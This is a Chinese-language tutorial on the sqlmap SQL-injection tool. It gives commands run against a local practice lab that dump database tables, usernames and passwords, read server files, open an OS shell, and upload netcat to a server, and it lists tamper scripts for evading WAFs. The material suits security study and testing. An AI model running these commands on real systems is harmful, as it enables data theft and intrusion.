sqlmap是一個自動化的sql注入工具,其主要功能是掃描、發現並利用給定URL的SQL注入漏洞,內置了很多繞過插件,支持的數據庫有MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB。
sqlmap支持五種不同的注入模式:
- 1 基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入;
- 2 基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷;
- 3 基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中;
- 4 聯合查詢注入,可以使用union的情況下的注入;
- 5 堆查詢注入,可以同時執行多條語句的執行時的注入。
1.安裝sqlmap
- 下載及安裝:https://github.com/sqlmapproject/sqlmap
2.sqlmap入門
1.判斷是否存在注入 sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1&uid=2" #參數大於1時加雙引號 2.判斷文本中的請求是否存在注入 sqlmap.py -r test.txt #-r一般在存在cookie注入時使用 3.查詢當前用戶下的所有數據庫 sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --dbs 4.獲取數據庫下的表名 sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security --tables 5.獲取表中的字段名 sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users --columns 6.獲取字段的內容 sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users -C username,password --dump 7.獲取數據庫的所有用戶 sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --users 8.獲取數據庫用戶的密碼 sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --password 9.獲取當前網站數據庫的名稱 sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-db 10.獲取當前網站數據庫的用戶名稱 sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-user
3.sqlmap進階:參數講解
1.--level=5:探測等級,1-5,默認為1,等級越高,payload越多,速度越慢。HTTP cookei在level為2時就會測試,HTTP User-Agent/Referer在level為3時就會測試。 2.--id-dba:當前用戶是否為管理權限 3.--roles:列出數據庫管理員角色,僅適用於當前數據庫是Oracle的時候 4.--referer=https://www.baid.com :sqlmap可以在請求中偽造HTTP中的referer,當–level參數設定為3或者3以上的時候會嘗試對referer注入 5.--sql-shell:運行自定義sql語句 6.--os-cmd,--os-shell:運行任意操作系統命令 7.--file-read "C:/example.exe":從數據庫服務器中讀取文件 8.sqlmap.py -u URL –file-write ”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” 上傳文件到數據庫服務器中
4.sqlmap自帶繞過腳本tamper的講解
--identify-waf可以檢查網站是否有安全防護(WAF/IDS/IPS)
--tamper參數對數據做修改來繞過WAF等設備,其中大部分腳本主要用正則模塊替換攻擊載荷字符編碼的方式嘗試繞過WAF的檢測規則。
命令:sqlmap.py -u "URL" --tamper "模塊名"
目前官方提供53個繞過腳本,比如
apostrophemask.py #將引號替換為UTF-8,用於過濾單引號 base64encode.py #替換為base64編碼 multiplespaces.py #圍繞sql關鍵字添加多個空格 space2plus.py #用+號替換空格 nonrecursivereplacement.py #作為雙重查詢語句,用雙重語句替代預定義的sql關鍵字(適用於非常弱的自定義過濾器,例如將select替換為空) space2randomblank.py #將空格替換為其他有效字符 unionalltounion.py #將union all select 替換為union select securesphere.py #追加特制的字符串 space2hash.py #將空格替換為#號,並添加一個隨機字符串和換行符。 space2mssqlblank.py #(mssql)將空格替換為其他空符號 space2mssqlhash.py #將空格替換為#號,並添加一個換行符 between.py #用NOT BETWEEN 0 AND替換大於號,用BETWEEN AND替換等號 percentage.py #ASP允許在每個字符前面添加一個%號 sp_password.py #從DBMS日志的自動模糊處理的有效載荷中追加sp_password charencode.py #對給定的Payload全部字符使用URL編碼(不處理已經編碼的字符) randomcase.py #隨機大小寫 charunicodeencode.py #字符串Unicode編碼 space2comment.py #將空格替換為/**/ equaltolike.py #將等號替換為like greatest.py #繞過對>的過濾,用GREATEST替換大於號 ifnull2ifisnull.py #繞過IFNULL的過濾,替換類似IFNULL(A,B)為IF(ISNULL(A),B,A) modsecurityversioned.py #過濾空格,使用Mysql內聯注釋的方法進行注入 space2mysqlblank.py #將空格替換為其他空白符號(使用戶MySQL) modsecurityzeroversioned.py #使用mysql內聯注釋(/*! 00000*/)的方式進行注入 space2mysqldash.py #將空格替換為--,並添加一個換行符。 bluecoat.py #在sql語句之后用有效的隨機空白符替換空格符,隨后用like替換等於號。 versionedkeywords.py #注釋繞過 halfversionedmorekeywords.py #當數據庫為mysql時繞過防火牆,在每個關鍵字之前添加mysql版本注釋 space2morehash.py #將空格替換為#號,並添加一個隨機字符串和換行符。 apostrophenullencode.py #用非法雙字節unicode字符替換單引號 appendnullbyte.py #在有效載荷的結束為止加載零字節字符編碼 chardoubleencode.py #對給定的payload全部字符使用雙重URL編碼(不處理已經編碼的字符) unmagicquotes.py #用一個多字節組合(%bf%27)和末尾通用注釋一起替換空格。 randomcomments.py #用/**/分割sql關鍵字